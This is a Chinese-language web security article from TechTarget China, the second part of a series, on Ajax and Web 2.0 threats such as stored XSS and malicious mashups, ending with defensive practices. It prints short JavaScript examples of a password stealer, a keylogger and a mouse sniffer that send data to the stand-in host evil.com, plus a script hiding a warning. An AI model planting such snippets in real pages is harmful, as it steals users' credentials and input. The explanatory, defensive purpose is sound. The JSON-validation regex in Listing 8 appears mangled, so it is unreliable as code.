征服 Ajax 应用程序安全威胁(二)

日期: 2008-01-10 作者:Sachiko Yoshihama 来源:TechTarget中国

  随着 Web 2.0 的普及 stored XSS 攻击越来越严重。Web 2.0 成功的关键是大众之间的共享、交互和协作,因此用户有更多的机会可以通过一些服务(比如说社会网络服务(social network services,SNS)、wiki 或 blog)看到其他用户(具有潜在恶意性)的输入。

  不管怎样,输入值验证和数据消毒(sanitation)是防止 XSS 攻击的关键因素。通常,Web 服务器从用户输入中移除脚本,但是攻击者经常会利用服务器的弱点绕过这些过滤器,从而造成一些重大的攻击,比如说 Yamanner 或 MySpaceIn 蠕虫。

  Mashup

  mashup 应用程序是一种 Web 应用程序,它可以把来自多个来源的内容和服务结合到一个集成的用户体验中。通常,mashup 应用程序会造成一个单一的客户端应用程序,因此 mashup 中的不同部分可以通过一些浏览器资源(比如说 DOM 树或浏览器窗口工具)来进行信息共享和交互。当 mashup 中的某些部分是出于恶意目的编写的(或者被攻击了),它可以将恶意代码注入到应用程序中。这样会导致各种类型的攻击(类似于 XSS),包括盗取用户的敏感信息。

  理解攻击产生的影响

  我们已经知道攻击者是如何将代码注入应用程序的,接下来再看看一些常见攻击所带来的影响。

  窃取 cookies 或密码

  对于攻击者而言,最直接的受益就是获得用户的敏感信息,比如说用户密码或 cookies。因为注入脚本可以访问 DOM 树的任何部分,所以它们可以从登录表单的文本字段中窃取密码信息。例如,清单 3 中展示的代码能够窃取信息并将其发送到某个攻击者的服务器。

  清单 3. 攻击示例:从文本字段中窃取密码
                 
function stealpw(){
  var pw = document.getElementById("password").value;
  document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;
 

  在本例中,攻击者需要等待一段时间,直到用户单击提交按钮之后才能接收到他的数据。Ajax 使攻击者的工作更加简单,这是因为它允许攻击者向远程服务发送任意信息,而不用等待利用用户的动作,比如说点击一个按钮或单击一个链接。这种类型的通信量通常会被视为可疑行为,但是由于 Ajax 具有异步性,所以这种通信量常常不会被检测到。

  使用类似的方法,攻击者还能够窃取敏感 Web 应用程序中的文档 cookies(比如说在线金融应用程序)。文档 cookies 可以允许攻击者劫持会话或使用所窃取的凭证进行登录。

  注意,Microsoft® Internet Explorer® 6 或更高版本对 HttpOnly cookies 提供了支持,这样可以防止客户端脚本访问文档 cookies。然而,由于大多数 Web 应用程序都不能依赖浏览器来实现,所以这种方法也无济于事。

  使用键盘记录工具(key logger)窃取键盘事件

  清单 4 展示了一个简单的键盘记录工具示例,该工具窃取 Web 页面中的键盘事件并将它们发送给远程服务器。键盘记录工具允许攻击者劫持任何用户输入;比如说,如果某个用户在使用一个基于 Web 的电子邮件服务,那么键盘记录工具将记录下任何文本输入并将其发送给攻击者。然后,攻击者能够通过分析记录数据检索出凭证信息,比如说密码和凭证信息。

  清单 4. 攻击示例:键盘记录工具
                 
function keylogger(e){
  document.images[0].src = "http://evil.com/logger?key="
  + e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);
 
  使用鼠标嗅探器窃取键盘事件

  软键盘是防止键盘记录工具窃取敏感输入信息(比如说用于在线金融服务的登录 PIN 码)的一个常用技巧。然而,鼠标嗅探器可以使用类似于键盘记录工具所使用的技巧。通过窃取鼠标事件的 X 和 Y 坐标,推算出鼠标在软键盘上所点击的键也是有可能的。清单 5 演示了一个简单的鼠标嗅探器的示例。

  清单 5. 攻击示例:鼠标嗅探
                  
function sniffer(e){
  document.images[0].src= "http://evil.com/imgs/sniffer?x="
  + e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);
 
  插入错误信息

  使用 DOM 接口,攻击者能够修改 DOM 树中的任何信息。比如说,当某个用户正在进行在线转帐操作时,攻击者把目标帐户修改为属于他自己的帐户也是可行的。其结果是,转帐的金额将被存入攻击者的帐户中。

  在另一种攻击类型中,攻击者可能会修改样式表,把信息隐藏起来不让用户发现。比如说,假设某个 Web 页面包含有一个警告消息,如 清单 6 所示。

  清单 6. 警告消息
                  

<style type="text/css"> #warning { color: red } </style>

<div id="warning">The links in this page may refer to
potentially malicious Web pages, so be careful. </div>

 
  攻击者可能会修改样式表,消除警告。比如说,清单 7 中展示的 JavaScript 代码修改了警告的样式,使它在白色的背景中不可见。

  清单 7. 攻击示例:消除警告
                  
var e = document.getElementById("warning");
e.style.color= "white";
 
  推荐的最佳实践

  我们对攻击有可能的实现和其所带来的后果有了基本的了解,接下来再看看一些技巧,并应用这些技巧改善 Ajax 应用程序的安全性。

  添加一个输入值检查

  正如我们在 XSS 示例中所看到的,大多数的攻击都利用了服务器端的弱点,注入恶意脚本。因此,要保护 Web 应用程序,第一步需要添加输入验证。输入验证和数据消毒会从不可信的输入中过滤掉所有可能的活动或恶意的内容。

  输入验证的两种类型:

  黑名单:在这种方法中,黑名单中的所有字符都会从输入中过滤掉。黑名单所面临的最大的挑战就是要确保所有危险的字符都包含在名单中。因为要预测到所有可能的输入组合是不可能的,所以黑名单经常不能实现正确的验证。

  白名单:这种替代方法列出所有允许的字符并从输入中移除所有其它的字符。白名单所面临的最大的挑战就是在保持列表尽可能简短的同时,仍然能够提供足够的灵活性,允许 Web 应用程序所需的输入类型。

  不能把黑名单或白名单作为一种绝对安全的解决方案。但是,人们通常认为白名单是更加安全的选择。因此,推荐您使用白名单来清除具有潜在危险性的输入。

  对发送给浏览器并在其上显示的字符串中的特殊字符(比如说把小于号 (<) 换成 "&lt;")进行转义是增强安全性的另一种方法。有些程序语言提供了一些内置的函数用于转义特殊字符。

  使用漏洞检查工具

  由于应用程序中的程序错误都比较类似,因此许多 Web 应用程序都易于受到攻击。所以,安全专家开发了一些工具,用于检测这些不安全的编程实践。此类工具称为漏洞检查工具,它们能预先检测出潜在的漏洞。这些工具检测出的最常见的漏洞之一就是程序员忘记对潜在的恶意输入调用消毒例程。

  不要动态地生成和执行代码

  可以使用若干种方法在 JavaScript 程序中动态地生成代码。最著名的函数之一就是 eval() 函数,该函数允许您将任意字符串做为 JavaScript 代码执行。然而,肆无忌惮地使用该函数是非常危险的。遗憾的是,一些使用广泛的 JavaScript 库在内部直接使用 eval() 函数。

  保障 JSON 的使用安全

  由于 JSON 是以 JavaScript 的一个子集为基础的,所以脚本内容会潜在地包含恶意代码。然而,JSON 是 JavaScript 的一个安全的子集,不含有赋值和调用。因此,许多 JavaScript 库使用 eval() 函数将 JSON 转换成 JavaScript 对象。要利用这点,攻击者可以向这些库发送畸形的 JSON 对象,这样 eval() 函数就会执行这些恶意代码。可以采取一些方法来保护 JSON 的使用。第一个方法是使用 RFC 4627 中所定义的正则表达式确保 JSON 数据中不包含活动的部分。清单 8 演示了如何使用正则表达式检查 JSON 字符串。

  清单 8. 使用正则表达式检查 JSON 字符
               
 var my_JSON_object = !(/[^,:{}[]0-9.-+Eaeflnr-u nrt]/.test(
    text.replace(/"(\.|[^"\])*"/g, ‘ ‘))) &&
    eval(‘(‘ + text + ‘)’);
 
  另一种更具安全性的方法是使用 JSON 解析器对 JSON 进行解析。由于 JSON 的语法相当的简单,您可以轻易地实现这种解析器,而不会带来显著的性能差异。

  在集成不可信内容时使用 <iframe>

  您可以利用同源策略使攻击者无法轻易地访问整个 DOM 树。当您把不同域中的数据加载到一个 <iframe> 中时,应该给予该数据一个属于自己的 JavaScript 执行上下文和 DOM 树。这样可以防止攻击者从主页面中窃取信息。尽可能多地 <iframe> 限制不可信的外部内容是一个良好的实践。

  结束语

  在这篇文章中,我们概述了在 Web 2.0 应用程序中避免同源策略的各种不同的方法。我们还演示了这些方法如何在 Web 应用程序中公开一些新的攻击点。我们讨论了一些常见的攻击类型和这些攻击所带来的后果。最后,我们在简短的最佳实践部分中对文章进行了总结,使用这些最佳实践可以避免一些最常见的攻击。

 

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

相关推荐